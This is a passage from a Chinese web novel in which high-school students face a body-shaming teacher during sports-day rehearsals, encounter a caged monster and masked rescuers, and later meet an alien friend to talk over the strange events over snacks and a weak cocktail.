随着橘橘国王走进千家万户,礼崩乐坏进一步加剧,谁都想上来摸一把橘子小咪。康烁影和孟含靓在聊要不要养猫,两个人都争着收养橘橘国王,吵着吵着,发现双方家都不让养猫,一时尴尬地面面相觑。
刘征兰抱起猫:“你俩都不能养,那就把人家放回楼下。”
孟含靓不敢下楼:“周天子回来骂我们。”
康烁影大惊:“姐姐!你都跟我逃学啦,现在说下一趟楼挨骂?”
孟含靓一回到人群里,整个人一下子柔弱起来:“我胆子小嘛。”
旁边有男生调解:“算了算了,康姐你别逼她。”
孟含靓捏着拳头锤他后背:“我和康女士说话,有你什么事!”
康烁影没什么反应。但刘征兰深刻感觉到自己被当作了play的一环,她往康烁影身边凑了一步,看她的眼神变得特别亲切。
走出教室的康烁影满头问号:“你什么表情?”
操场上很多班级都借着自习课搞运动会入场式的排练。三中配置简陋消息闭塞思想落后,至今还保持着最简陋的入场方阵:绕操场走一圈,然后站到绿茵地里。没有表演也没有个性展示,连口号都必须是严肃活泼正能量的车轱辘话。
刘征兰连眼神都懒得往那边抛,专心看橘橘国王舔爪子。康烁影却站在那儿,眼神远远地盯着某处,眯着眼睛看了一阵,她问:“唉,那个是不是颜阎?”
刘征兰抬起头,把眼镜扶到鼻梁上。
正对着楼梯口的,是水泥砌主席台上的雨棚,看不见主席台的全貌。但是从雨棚和主席台的缝隙里,能看见一个在初秋披着校服外套的身影。对方的身体前后摇晃,手正没规律地乱动,腿也一前一后摆动。身边空落落的,什么人也没有。
四班的方队在操场对面走队型,去掉颜阎四十九个人,正好是6x8的方队和一个旗手。孔丘在指挥,班长和罗塞塔在草皮上坐着,新想的口号一张张往她手里递。
孔丘往颜阎那边瞥了好几眼。一开始她还有点气势汹汹的得意,后来,当她撞见学生的眼睛,还被点头致意之后,一种恨铁不成钢逐渐盖过那点得意。
排队型,必须是四列,男女同学各多出一个,男同学里有班长,在最前面领队,女同学里不得不挑个人被踢出去。她随手点了个胖胖矮矮的女生:“你出来,到时候就在楼上吧。”
对方有点不在状况:“啊?”
孔丘点名字:“杨梓珊,你出来吧。”
“啊?”这次是不愿意,她觉得自己做错了什么。
“你看你,胖成什么样了,都成猪了。站在里面也不美观。好好搞学习,争取把体重变分数。运动会你就去楼上坐一阵,等到开幕结束了再下来。”
女生的脸红了,或者说她的皮肤红了,羞耻和愤怒在她的血管里流动。她低着头,往队伍外走了三步,被人顶回来。抬头看去,有人一步跨到她旁边的位置,表情笑嘻嘻:“老师,您是不是在霸凌女同学呀?”
霸凌这个词太重了。孔丘悚然,第一反应是先把它撇清。然而看到颜阎抱臂挑眉的表情,火气一下子窜上脑门:“我不针对任何人!同学们都知道我不针对任何人的!但人多了没办法呀!你们谁想出来站着吗?你们谁想替他就自己说呀!别把霸凌这种词挂在嘴上,你们要是觉得我在霸凌学生,就去举报我好了。我是问心无愧的。”
“那您也不能这么说。可以直接让她站出来,但不能说她胖。”
“你这么有正义感,你出来替她。”
“好呀。”颜阎蹦蹦跳跳走出队伍,乐滋滋站到孔丘眼前:“下面我去干嘛?”
孔丘把她晾在那里。工厂又开始烧废料,臃肿油腻的气体钻进所有人喉咙里:“杨梓珊,你觉得我在霸凌你吗?”
杨梓珊低着头,摇头。
“有些学生呀就想当刺头,她觉得她可正义了。实际上人家才不需要你呢。”孔丘轻声细语,伸手帮颜阎整领口,“怎么校服都不穿呀?你妈妈知道不知道呀?”
“她胆子小嘛,这又不怪她。要是她敢跟我站一边儿,你也不会这么说她身材对不对?”颜阎一个后仰躲过去,不想被人碰:“我穿着外套拉着拉链进校门,没人拦我,就算我过了呀。”
“我是没有马老师那么好的脾气。想当刺头的人都看好了,这就是刺头的标杆哈。”孔丘往主席台上一指,“自己坐着去,运动会你爱去哪儿去哪儿。”
颜阎就在主席台上定居了。中间休息了几次,碍于孔丘在远处看着,没人敢来她身边说话,都怕触班主任霉头。
她也是听话,真就在主席台上坐着不动了。
操场上声音很碎,四处都是喊入场口号和集体踏步的声音,还有老师腰上小蜜蜂嗡嗡的电流声。天空苍白得像石灰,迁徙的候鸟看起来毫无方向,在一小块天空上兜圈子。
颜阎有点犯困,她把马尾塞进帽子里,往地上一躺,视野里出现两个鬼鬼祟祟的人。
刘征兰摊手:“她发现咱们了。”
康烁影放下高举的猫:“太可惜了,刚想吓她。”她捏着橘猫的白手套朝颜阎招手,“反骨仔,又干了什么事呀?”
颜阎把情况复述了一遍,康烁影目瞪口呆,显然超出了她的认知范围:“你帮她出头,她背刺你?要不要我把她拉群里骂一遍?”
刘征兰捏着橘橘国王的脖子毛:“没啥用啊。这种人真不是坏人,她们就是纯粹的服从制约,或者说,胆小。就算自己挨骂,她们也不会质疑,更别提帮助别人一起指责更高的权威。”
“而且确实只需要一个人出局。只要我走了也没有什么矛盾了,她的问题和队列的问题都解决了。被老师讨厌和被其他学生害怕有多麻烦,我就是个活例子,她肯定害怕成为下一个。”颜阎仰躺在主席台上,“毕竟还是学生呀,胆子小。”
康烁影骂人:“放屁,你不也是学生!”
“我是特别的。”颜阎把头发一甩,“我是反社会兼精神病,只要你足够怪,大家就会开始包容我。举个例子,等到下课后孔丘走了,就会有人跟我玩,还会有人来夸我勇。”
“还挺熟练的。”
“过奖过奖。”
“那我们要是不来,你就在这儿定居了?”
“替别人出头只是性格问题,我妈能理解。擅自跑路就有点二次挑衅的意思了,回家妈妈一定会发火。”刘征兰和颜阎碰拳头,“都是这么过来的。”
“别代表我!我可不是这么过来的!谁要敢这么背刺我,就会被我堵在门口骂。”
刘征兰耸肩:“经常当刺头的人都知道。你要是真骂别人,别人反而会觉得你这人道德绑架。她们都能忍住被羞辱不还口,当然是老师指令大过天的那种人。她们才不会觉得你是在帮她们,只会觉得你把她们架上去了,还逼她们做不想做的事。”
康烁影帮的都是和她一样染发化妆打耳钉的暴躁精神小妹,甭管家长还老师,谁反对她们她们就骂谁弱智,这辈子就没怎么正面跟唯唯诺诺战战兢兢的中层学生接触过,听完她俩的话真是刷新了世界观,烦得直扣指甲:
“真不知道认识我之前,你俩怎么过来的。”
有了朋友陪着,颜阎肉眼可见水灵了。孔丘往这边看了几眼,有学生艳羡地往她那边看,意思是:我也想不彩排坐着唠嗑。
“那边的!”孔丘扯着嗓子喊,“归队了!”
刘征兰捏着嗓子:“二班的!休息呢!”
有人陪着,就不构成惩罚和威慑了。孔丘心里叹气,她自认是不落窠臼的清流老师,开学时很喜欢颜阎这种有话直说的性格,更何况颜阎的语文好得鹤立鸡群。
但是时间久了她发现,这种有话直还搭配着质疑的心,她会质疑所有既定规则,不信服任何人。和刘征兰认识之后,她算是有了二人同盟的后盾,和康烁影相识后更是变本加厉,形成了有组织的集团。所有管束都没法让她回到正道,不得已,她只能含泪抛弃这个学生。
康烁影看了眼手上的运动手环:“我们不能陪你太久,就算周天子不在,一整节课不在也会有人打小报告。”
“理解,你们来就很感动了。”
刘征兰提议:“表转到下一个数字就走。”
“我这是运动手环!”康烁影把手环塞到她面前,“电子计数,没有表盘!”
“那就五分钟。”
“ok。”
康烁影把猫塞进颜阎怀里,光明正大拿出手机看了看:“下一节课是复读班的体育课,我叫复读班认识的人陪你下飞行棋。”
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另外两个死宅都惊讶:“你还有复读班课表?”
康烁影反问:“你们没复读班的朋友?”
颜阎睁着死鱼眼:“我没朋友。”
康烁影大怒,伸手掐她手腕:“我呢!”
颜阎惊诧:“你和刘女士肯定算啊!这种话题,你应该学会自我排除啊!”
康烁影被哄好了。刘征兰用手肘戳颜阎:“教我哄现充。”“很简单的,什么话好听说什么。”“跟没说一样。”“天赋技能。”
五分钟后两个人都走了,康烁影把猫给她留下,但她不太招动物喜欢,所以橘橘国王很快也跑了。
下课后孔丘回办公室喝茶润嗓子,同学们如她所料重新开始跟她交流。艺术家和小喇叭别别扭扭,还是颜阎主动招呼的她俩,她们过来塞了块燕麦巧克力就去摸猫了。
第二节课还是自习,换句话说,还是彩排。颜阎没看到传说中的复读班朋友,但她不是很生气,一方面是她习惯独自静坐,另一方面是康烁影不会害她,大概率是复读班也被拉去走队形了。
“没有办法,俺们反社会就是这样的。”她一条腿架起,一条腿荡在主席台旁,装深沉。
“喵。”橘橘国王表示鄙视。
“咪桑,你来陪我?给我摸摸,先说好你不许伸爪子啊,我是很怕被抓的那种类型,就摸一摸!老大我是刚洗完澡的香香猫咪喵~唉唉唉说好不反抗……哦舔毛,原地不动让我摸一下呗,你动我就害怕……”
猫很鄙视她,闲庭信步莫名其妙地走了。颜阎在她后面,贱兮兮地跟着:“咪咪去哪呀?咪咪跟我摸一摸,咪咪不要走嘛。”
咪咪不理会愚蠢的人类,一路咪咪喵喵,跑到马英妹的花圃附近。花圃生机勃勃,没怎么受到秋天的影响,只有几株萝卜呈现疲态,那是马英妹亲自看护的爱菜。她以为自己把花圃照顾得很好,为此颇为得意,其实大部分花都是大祭司和艺术家业余养活的。
颜阎在车棚前抓住橘橘国王,手臂伸直抱起它,想摸又怂。
世上有众多动物怪谈,其中有些底色善良温馨,比如普通人碰到被虐杀的小猫灵魂,自以为大难临头,却无事发生。与猫相处数日,为它报仇雪恨,猫猫灵魂仍徘徊世间。终于在阴差阳错、充满爱意的抚摸中,猫投胎转世。
颜阎觉得这充满了人类的傲慢和自我投射,这就像觉得所有抑郁症都是缺爱一样荒唐。动物没有标准意义上的智慧,它们的行为举止有很多出自本能,人类难以理解,因此它们造成的灵异事件难以用人类的思维揣摩。动物的心,才是最难以捉摸的。
此时此刻,她仍然如此坚持。
一名女学生,怀抱着自己的膝盖坐在宠物笼里。身材肥胖,饱胀宛若巨大肉瘤的胳膊把校服撑成了炸膛的炮管。两条溃烂发黑的腿有石墩粗细,鲜绿脓水和柠檬黄的脂肪从她撑爆皮肤的肉里流出,校服短裙紧紧贴着她的皮肤,在组织液的浸泡中像是一片沉积物。
她的头,是一只耳朵巨大,口吐白沫的狗头。
狗头张嘴时口水连接上下犬齿,眼睛血红,越过笼子直直盯着颜阎。
“颜阎。”她说,“把笼子打开,放我出去。”
颜阎不敢。
笼子里的女生费劲地摆弄自己的四肢。先是把左腿伸进右腿下,再把右腿和左腿贴着屁股,尽可能地并拢向一边倾斜。头低着往前探,脖子刮蹭笼顶,挤出一大股脓液,肥胖的手臂撑住地面,腿被压在身下,吻部长长的脸紧紧抵在笼门上。
她太胖了,身体把笼子撑得太满。仿佛笼子才是她的皮肤,她只是皮肤下的一个肉瘤。
“我不要在这里。放我出去,你能做到的吧,放我出去,现在放我出去。救救我,放我出去!放我出去!我不要在这里——”
她的语速越来越快,声音越来越大,过多的脂肪压迫她地肺部,令她的声音尤为浑厚,像是震耳欲聋的响钟。
众多神话和恐怖片里有类似的桥段,什么东西被关入密闭空间,必须由别人放它们自由。“打开”这个动作某个象征着解除禁锢,运气好碰到的是阿拉丁神灯,运气不好就会碰到潘多拉魔盒。面前这个,显然不像是和蔼可亲的灯神!
颜阎后退几步,拔腿要跑。笼子里的狗头人冷冷一笑,身体猛然向前倾斜,棱角分明的笼子居然被她带得向前翻滚,动作脱离地心引力般迅速。
笼子撞击地面的声音,像是火车车轮和钢轨的碰撞声。远处铁路的运煤车拉响汽笛,有一瞬间颜阎真以为是一辆诡谲的血肉火车张开大口要把自己吃下去。
这个时候她倒冷静下来,眼睛四处搜寻,想要找到一个趁手的武器。扫把,铁锹,自行车,电动车……大爷的!骑着电动车跟你爆了!
她狂奔到车棚里,随机选了一辆幸运电动,忽然意识到自己没钥匙。她咬咬牙换了一辆体型庞大有车筐的自行车,顺手把马英妹挂在墙上的铁锹拽下来,推出车棚就冲过去。肾上腺素持续发力,她一只手就提起沉甸甸的铁锹,准备连笼子带人一块儿拍扁。
旁边有人拉住她。她回头看,又吓了一跳:此物仍有人形,但脖子往上却全然与人类无关,疙疙瘩瘩的黄色面庞和她贴得极近,头顶两条黄黑相间、昆虫触角般的条状异物毫无生机地垂下,嘴唇和脸颊红如滴血,眨动眼睛旁黑色条纹仿佛黑暗深处的瞥视。这简直就像,这完全就是——黄色皮卡丘头套,大爷的!
皮卡丘悍匪赧然一笑,左手举起一只银色音叉,右手木制音槌向上轻轻一敲。
脑子里,什么也不剩下了。
一切杂音都被祛除,一切冗余都被统合。如此宁静和谐的声音,令她眼前涌现灿灿闪光,闪光的每一个颗粒都清晰可见。内脏和皮肤也随着频率震动,她清晰地感觉到自己的意识坠回身体中。
它被皮卡丘悍匪温柔地放倒在地,甚至还用她的自己帽子垫住后脑,以防弄脏头发。是友方,她放心了,早六晚二的疲惫、高三的高强度刷题和令人心累的人际关系一瞬间化冰为水,温暖的水流在她心中流淌,这一刻连她自己都以为要睡着。
然而某种愤怒立刻席卷了她的内心。
我的身体不属于我,太可怕了!我这辈子也不可能不明不白就晕过去!友方?友方也不行!
她调动全身肌肉,只有右手还有反应,正在触电般颤抖。她拼命用肌肉拽起右手,用尽全身力气甩了自己一个巴掌。
自己扇自己其实不太疼,因为早有预料,神经已经做过预防,但总比什么也不做强。颜阎在地上扭动身体,费劲全身力气仰起头,以倒立的视角向后看。
最下面是天空,中间是远处的屋顶,已经看到车棚了,最高处是地面和一双鞋。
女式校服的外套猎猎作响,被风鼓作船帆。倒立的身影在她不远处,双手高举一把粉色长尺。笼中怪物呜咽着后退,而她一动不动,左手按动长尺上橘色按钮,顺着尺身向另一端划动。
无形的压力推向整个车棚,车辆随着气流应声倒地。长尺划过的空间宛若剪刀切过的纸片,锋利整齐的伤口劈开了笼子,也劈开了怪物。
颜阎听见痛苦的哀嚎,女高中生的校服翅膀般柔顺地贴回她的后背。
这一下用尽了她的意志力,她太想睡觉了。无关任何科学和妖术,她纯粹就是太想睡觉了。昨天她只睡了四个小时,相信其他人也不遑多让。
于是在下一秒,她眼睛一闭,手臂一松,用这个脑袋支撑身体的诡异姿势,三秒陷入深眠。
在正式睡着前,低语的声音传来。
“她看见了?”
“不知道。”
“看见你了吗?”
“看见也没用。我蒙面。”
“你能不能把你的头套换下来?”
“我不。”
“喵~”
她眠了。
118.饮酒如水之处
菌类的收获是一项重要的工作,这种作物的田地在最安全的下层,由全身长满链霉菌、不受病虫害的工蚁在其中收割菌丝,清理杂菌。
在其他族群里,这是保护王和幼崽的安全屋,但切叶蚁是重视农业的种群。
小果如同所有切叶蚁一样,对真菌怀有感激和仇恨混杂的心情。真菌用身体喂养它们,谋求种族的延续;切叶蚁改变习性,终生供养菌群,它们互相驯化,紧密相连、同气连枝。
它巡视着自己的领地,并未意识到危机的来临,直到它的意识渐渐模糊,某种不详的预感才从它心底浮现。
意识飘散,游走虚空,小果从高维俯瞰灵界通道连同的数个地界,当真发现了异状。
弓背蚁自激流勇进的灵界通道涌入秘密花园,趁除草休整之际,大举进攻铺道蚁家族。
弓背蚁家族不仅工兵分明、体型庞大,还有一招秘技——蚁酸喷射。此招数毒修,乃是将体内余毒喷出的攻击手段,可腐蚀叶片和糖块,杀死几只蚂蚁也是轻而易举。这异想天开的招数,在弓背蚁中却是信手拈来的技巧。就连来自另一时空、立下过弑神壮举的红火蚁族也曾被它踩在脚下。
小果大惊,立刻扑去营救挚友。突如其来的一方势力令弓背蚁阵型大乱,几近落败。
一阵劲风袭来。只见一只蝼蛄从天而降,挥舞一对钉耙般前足,瑟瑟寒光将两军从中分裂。驼子抓准时机钻回灵界通道,而蝼蛄也蜷起后足一跃而起,瞬间消失不见。
秘密花园的花草被蚁酸侵蚀出难闻的腐臭气息,铺道蚁尸横遍野,伤亡惨重的除草望着灵界通道里消失的蚁群,凄厉大叫:“驼子!为什么!我们不都是蚂蚁帝国的搬运工吗!为什么!”
仓皇逃窜的驼子甩下一阵破碎的狂笑:“哈哈哈哈哈哈!除草!你以为我不知道你做了什么吗!当初正是你贪婪过盛,暗中转移荷氏,引来了上界大能,我们才沦落到在这苦寒之地你死我活的命运!今日,我要为了蚂蚁帝国报仇!”
小果大惊:“除草,果真如此吗?”
除草不语,许久后,它发出一声长长的叹息。
“那天,我在异兽池边巡逻,发现了一块落单的荷氏。正欲搬走,却感觉有一股强大的力量靠近。我本该逃走,‘身体’却被本能吸引,不由自主地一拥而上,聚拢在荷氏周围。驼子说得没错,那上界大能的确是发现了我,然后顺着我身体们逃窜的方向,找到了我们的蚂蚁帝国。”
蚂蚁帝国的覆灭居然是因为一件微不足道的小事。小果心中感慨万分:“没事,朋友,这不是你的错。驼子与你有误会,我随你前去解释,必能让你们握手言和,重建蚂蚁帝国。”
双方对视良久,心中信念激荡,却不知远处山丘上,一只蜈蚣看着它们互相宣言,冷笑数声,钻入灵界通道,穿入一片未被探索的地界——天空之城。
天空之城高悬九天,古老的白膏状遗迹中埋藏着众多秘宝,即使是在灵界通道中也能感到它的陡峭。蜈蚣仆人从一条通道探入天空之城,拨开数具用身体堵死通道的收获蚁,向面前的生物行礼:“螳螂长老!”
螳螂长老骄矜地点点自己三角形的头颅,巨镰沉默着指向远处。蜈蚣会意,立刻道:“两败俱伤!而且沙漠也加入了战局,蚂蚁一族很快将会弹尽粮绝、白骨露野。到时候土狗长老必然按捺不住杀意,您就能坐享其成,趁机搬走蚂蚁果冻和面包虫啦!”
螳螂长老点头:“掌门?”
“掌门仍闭关不出。”
“好。”
螳螂长老重新闭上眼睛。蜈蚣仆人在它面前晃动触须,确定它已经入定,这才舞动多足,转身离去。颜阎在它身后大喊:“不是,朋友!你到底哪边的!”
蜈蚣当然不理她,转而奔赴另一战场。加班加出喜悦来,真是天选劳碌命。颜阎在一旁跺脚大喊:“朋友哇,朋友哇,参与博弈没法给你带来任何好处,运气好的话你还能享受荣华富贵,运气差的话,在帐篷里吃着火锅唱着歌都能听说自己人起事被抓,还连累老大去北海牧羊。”
蜈蚣更是没说话,它踹了颜阎一脚,颜阎一个激灵醒了,旁边的律易棋惊得后退几步,撞倒一排自行车。
自从律易棋来到地球,当地幽灵政府和破旧学校总是横生枝节。他年轻时(几年前)扎根基层,在跳格子小队、军队和掮木各处为人民服务,深知基层工作的情况之复杂,人性之陡峭,本以为已经身经百战,但是面对层出不穷的古怪事件,他还是连连发出叹息,把讯传戴回脸上。
上课铃打响前,康烁影拍了颜阎萧瑟背影过来,律易棋看完就乐,找来弓粟,让她帮忙接通监控,他要找颜阎玩你画我猜。
弓粟柔和低笑,接通主席台监控,没有发现颜阎身影。她并未在意,只当她去别处游荡。她从监控画面里四处搜寻,在车棚前找到了安详躺地的颜阎。
监控前后无异常,摩尔纹依然明显,学校里依然死寂,颜阎几乎是突然出现。律易棋一路狂奔,从职校翻墙进三中,途中狂发消息给康烁影。但她意外自律,该好好上的课从不玩手机,所以至今毫不知情,还在深情凝视黑板。
车棚西,花圃东,颜阎身体正正中。枯叶环绕她,秋风吹拂她,校服帽像盖脸白布。律易棋想起被推走的战友,手脚颤抖,翻墙时差点摔在矛状尖头上。他落地,三两步奔来摸脉搏,手太抖摸不准,再去摸颈部,对上颜阎明亮笑容。
他气笑了:“睡得好吗?”
颜阎抬起手擦口水:“头晕,我就说人不能睡午觉。”她眯起眼睛,把帽子拉回来,没有起来的意思,“你怎么来了?”
律易棋愈发悲愤:“我想来找你们玩,结果发现你死在这儿,弓粟吓坏了,哭着说你要是死了可别跟马英妹说,她心脏不好。”
弓粟才不会说这种话,她只会语气柔婉地说:“先别告诉英妹,她心脏确实不好。”
颜阎手臂动了一下,律易棋把手指上缠绕的嗅虫放进她手心,合上她的手指:“你怎么回事?”
颜阎说:“我碰见了怪东西、皮卡丘悍匪、和魔法少女。”
律易棋拿起被热死的嗅虫:“你发烧了。”
“我这是热的!”
“九月别穿冲锋衣。”
“口袋多,不怕脏。”
她说的没错,穿校服躺在地上完全不心疼,要是别的衣服还要洗,麻烦死了。
律易棋深深叹气,在花圃旁边垂手坐下:“这次又是什么情况?”
颜阎说:“我真不知道。我对天发誓,我们真没惹事。”
“我知道……唉……”律易棋揉乱自己头发,又全部捋回去,“地球这个地方,情况太复杂了。我本以为这只是有移民的普通爬行文明,现在来看,这里超出我预料的事情实在太多,我都有点不知道该怎么办了。”
颜阎惊诧:“你才知道呀!地球的情况复杂,已经不是一两天了!”
律易棋摊手:“现在情况这么复杂,你们还有空想文明的遗物。万一卷进了什么无法回头的事情里,最后又拼命想要回到现在,可怎么办?”
“放心吧。我们不会后悔的。怎么样都比高考好。”
“都这么说。我以前帮助过一个朋友,让他离开了母地,跟着我们一起生活。虽然他没有表达出来,但我还是能感觉到他的后悔。”
颜阎坐起来:“照你这么说,现在的一切都不可靠,谁都无法证明自己永远不会后悔。就连你当上通缉犯加入掮木,也算得上是一时兴起。”
情治界公认的四大基本讯问原则,叫“耗子原则”(M.I.C.E),分别代表四个最有用的突破口:金钱(Money),意识形态(Ideology),胁迫(Coerce),和自我实现(ego)。颜阎很烦别人断言自己的未来,以至于不经意间用出了审讯技巧。话一出口,她觉得有点冒犯,想要补救,律易棋却吹了声口哨。
“你说得对。”他道,“没有人能证明自己永不后悔。所以社会设定了法定不予追究,到达年龄的人们就要自己承担‘选择’的连锁反应”
“你是那种简单地认同社会规则的人吗?”
“我不是。”律易棋道,“但你们还没有做好孤注一掷,加入宇宙烂摊子的准备。”
他把□□镜推到头上,又去翻学校的外墙:“今晚十点呼叫中心集合,商量一下运动会的事和你碰见的怪事,记得跟她俩说。”
颜阎:“能给我们冻几瓶饮料吗?”
“有的有的。这是肯定有的。”
律易棋又从职校爬出去。三中很多翻墙出去买烟的小混混常走这条路,有时会给门卫送烟,门卫对此睁一只眼闭一只眼。
回到店里时,三中已经放学了。有几个晚饭在学校吃的高三学生跑来买泡面。女学生说话低沉但笑声响亮,带着好几桶藤椒牛肉面来结账,戴红绳那个一边说话,手里一边有节奏地哗哗切牌。
律易棋记得她,那个掀了神婆供桌的学生。对方也记得他,客套性地笑了笑,给他展示牌的背面:“拿来玩的。”
塔罗牌,地球常见的一种纸牌,听说来自于卡巴拉生命之树什么的,现在用于未来占卜和网络诈骗。康烁影拿来算过,得出的结论是:她前世想用小动物的毛弥补脱发并掀起了绒毛战争,后来被一块馒头噎死了。(飞飞:哈!)
律易棋不信命运是既定的,但是他对地球的占卜方式有些兴趣,于是向她伸出手:“给我算算?”
姐姐展开笑容:“好呀。你抽一张?”
律易棋随手点了一张。
姐姐被放学后的学生挤得一个趔趄,心想这人脸皮真厚。
“免单。”律易棋说。
这人心肠真好。
“你要算什么?”姐姐问。
“嗯……未来?”
姐姐捏着那张牌,沉吟片刻:“你有很多事藏在心里,很纠结,想跟别人倾诉……如果是某个人,这张牌代表着你们之间的关系经历过一些波折,3……嗯……你们很大概率会互相理解,但不一定能重修旧好。”
“我想算事。”
姐姐改口:“如果你在期待某件事情,它可能有某些欠缺,比如关键的一环,你的心里很紧张,精神压力很大,有些迷茫,不必惊慌……哦,事情很难,从前遇到过这样的情况。以前觉得很明确顺畅的事情,已经变得让人忧虑了,你曾经做出了你觉得错误的选择。现在你在想要改变策略,还是用旧方法但是投入更多精力。事情有可能没有回报,你在纠结要不要继续……”
“太准了,大师!”律易棋佩服得五体投地,“那么结果呢?”
她闭上眼睛,摩挲着牌面。杂货店里万籁俱寂,所有人屏气凝声,仰望着她一字一句吐出判词:“形状顺畅,但是危机隐藏在空白中。最近会有一件事让你受惊,或者心神不定。但是有心形图案,只要努力去
你的事情最终会有一个称心如意的结果。”
律易棋恍然大悟,连声道谢,送了姐姐和她的朋友们好几包卤蛋和辣条。姐姐神情恍惚走出杂货店,对着红心3自言自语:“难道我真的是天才?”
“不好说。”颜阎道,“这事不好说。”
姐姐把卤蛋塞进她嘴里:“吃你的。”
她被裹满藤椒汤的卤蛋辣得一个激灵,又舍不得吐,只能狂吃糖三角。
颜阎回家后特别心虚。妈妈和奶奶一直希望她合群一点,要是被她们知道自己被踹出运动会方队,她不会挨训,只会受到失望眼神的谴责,这比杀了她还难受。以防孔丘当着她的面发消息告状,她拿上奶奶牌糖三角和花椒葱姜水拌出来的白菜猪肉包子,直奔学校。
教室里不能吃东西,所以晚自习上课前总有一排人,像是晾衣杆上的衣服一样挂在学校半墙上吃晚饭。
颜阎锋芒太盛,下午排练时没人敢跟她说话。但是同学们心里都有数,事后对她格外热情,小煎包、酱香饼、方便面、杂粮煎饼轮流投喂,她一路走一路吃,走到凉拌海蜇头前面也习惯性张嘴。
对面人笑:“你还吃上了?”
颜阎抬头,对上一头修剪得体的刘海。是个女生,尖下巴,校服袖子折起,穿法像个焊工。
对面人见她没反应,举起左手旁手帐本,向她头上拍过来:“颜阎!你把我名字忘了?”
颜阎捂住脑壳:“你什么意思!你怀疑我!给我吃一口海蜇头我就原谅你!”
对面女生把老醋、砂糖和白芝麻拌的海蜇头塞进她嘴里。海蜇晶莹剔透,醋汁鲜亮酸香,像吃了一块冰凉爽脆的水晶。
“老康让我最后一节课去找你玩。我本来都看到你了,上楼取个手帐本的功夫,你就不见了。”女生挑起一块海蜇头,放在嘴里吱嘎吱嘎地嚼,“你去哪儿了?”
原来是康烁影在复读班的那个熟人,好像是叫常青。
“撞见魔法少女了。”颜阎一本正经。
常青肃然起敬:“那你消失得有理。”
她追问:“你们班口号是啥?我借鉴一下。复读班没有集体活动的热情,随便整点什么口号。”
颜阎没有丝毫集体观念,立刻和盘托出:“四班四班,猛虎下山,水土不服,就服四班。”
常青笑得前仰后合,从活页手帐本里拿出一张纸片,在上面记下了口号:“感谢您的投稿!”
颜阎绕过她,看她的手帐本:“你做手账啊?做得真好看!”
手账的每一页都夹着大量纸媒拼贴、卡纸机关和立体画。封面最奇特,居然通体纯白,贴着许多透明镭射贴纸,一个三维坐标系的图案镶嵌在正中间,像是无尽虚空里漂浮的唯一。
常青得意地拉住坐标系翘起的y轴,整个坐标系膨胀变形,从
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二维升入三维,变成了一个纯白的立方体。
颜阎原地蹦跶着鼓掌:“立体机关!太强了!我下辈子都做不出来!”
常青肉眼可见地高兴了:“来吃海蜇头!”
颜阎凑过去接,余光瞟到她耳垂上。
那里空空如也,没有耳钉的踪影,发丝之间仅有一双肉色耳洞。
“耳洞?”康烁影道,“耳洞不用天天戴耳环,耳堵也不用,长回来不会那么快的。”
她爸对女人的打扮有严格要求,可以漂亮但不能太招摇,招摇的标准是露肤度、传统度和他的心情。但是她妈妈非常鼓励她打扮,康烁影的一双耳洞就是妈妈用两粒黄豆一前一后抵着耳垂,慢慢揉,揉到只有皮,然后用消毒后的针一扎,扎出来的,一点也不疼。
颜阎笑眯眯,她在学校写完了最耗时的数学作业,回家之后作业就写得特别快:“上学干嘛一定要戴耳钉,多不方便,撑着脸睡觉会压到。”
“你以为谁都跟你一样上课睡觉?”康烁影用叉子叉起一口蛋糕,“我们乐意怎么打扮就怎么打扮。”
颜阎的手机亮起来,她从沙发上跳起来,跑到门口去开门。刘征兰满头大汗地从书桌下钻进门里:“来晚了。我弟刚睡。”
她把糖醋荷包蛋连盘端过来:“我家的情况你们也是知道的,这是我自己做的。”
“挺好。”律易棋说,“来喝酒吧。”
朋友聚会不带吃的喝的,感觉跟没聚一样。律易棋下午就在群里说给她们调酒,榕城管烟酒不严,三个人多少在大人的餐桌上喝过(不是拿筷子沾的那种),所以当尝鲜一样同意了。
刘征兰坐在康烁影旁边,脸颊通红,热气蒸腾,身体不断向外辐射着温度。律易棋让她拿冰块降温,她把冰块按在脸上,直直躺下了。
“没关系。”她说,“在这里,我很快就能静下来。”
她说没关系,那就是真的没关系。另外三个人把吃的堆到她面前,开会。
首先是颜阎碰到的笼中女妖和魔法少女。刘征兰说我们的世界观越来越复杂了,万一碰到魔女之夜可就完蛋了。
“主要是校服。”颜阎比划,“校服女生,很有可能是律易棋要找的那个人。”
刘征兰一顿:“你不说我都忘了。”
律易棋沉痛点头:“我也。”
他必然没忘,只是顺带安慰她们。颜阎深深看了他一眼。而当事人一边划拉讯传上的酒单一边说:“如果她是我们要找的那个能上太空的神秘人,那就有点麻烦。一方面她有高杀伤性武器,还涉及一些地球上的鬼怪之类,另一方面,她还有皮卡丘悍匪当同伙。”
“我们要带武器上学吗?”康烁影有点激动,“我能不能挑个扇子,我小时候就觉得扇子很帅。”
“不必。交给我,我会让你们不受伤害。”律易棋微笑,“你们还没有持有武器的决心。”
“你凭什么这么说!”康烁影撇嘴。
“虽然你们现在已经很出格了,但是如果被刻石人发现,是否持有杀伤性武器是两个判罚标准。要是你们被抓去蹲大牢,就会错过高考。”
“你在乎高考?”
“我不在乎,我听说它才一年多。”
“那我们也不在乎。”刘征兰摊手,“外生物圈生物,宇宙级政斗,魔法少女。退一万步说,这些都没有,有个进入太空脱离地球的机会,我也要抓住。”
律易棋笑了。他拿放在桌边的笔筒,在餐巾纸上画出一张简笔画——几根薪柴互相支撑,形成未点燃的篝火一样的形状。
“这是掮木的标志。只要你们愿意,我现在就可以带你们离开地球去虹鱼舰。但你必须放弃高考,你们愿意吗?”
“就现在。”他强调,“可以去告别,可以去收拾行李,你们愿意吗?”
机会来的太快了,三个人都有些愣怔。掮木,一个危险性未知的组织,可能碰到的危险、身份怀疑、科技壁垒,所有隐患从她们脑海中一闪而过。
康烁影最先打退堂鼓,她没办法仰仗一个虚构的幻想,去过危机四伏的生活。刘征兰最简单,她以后想学理论物理,又没有都兰联合的身份,无法考外星的学校。
而颜阎,她脑海中闪过妈妈苦闷的脸,大大叹了口气:“不行啊,妈妈还在呢!”
她能死,能被困外星!但这辈子都不可能活着放弃高考,妈妈会很难过的。
律易棋苦笑着将她的手拍下去,学老师们的嗓音:“你是给家长学还是给自己学!”
“当然是给家长学,为了自己就退学了!”
律易棋把装在一次性纸杯里的酒推过来。说是酒,其实酒精含量低得能灭火,每一杯里放小番茄、番茄汁,塔克辣椒酱、苏打水和黑胡椒,超市里卖的柠檬浓缩汁,混一瓶盖的伏特加(康烁影从家里偷来的),杯口蘸一圈雪白盐花,往里面斜放一根芹菜,就算调好了。问他调的什么,他坦坦荡荡:“你们的互联网上找的,很有名,叫血腥玛丽。”
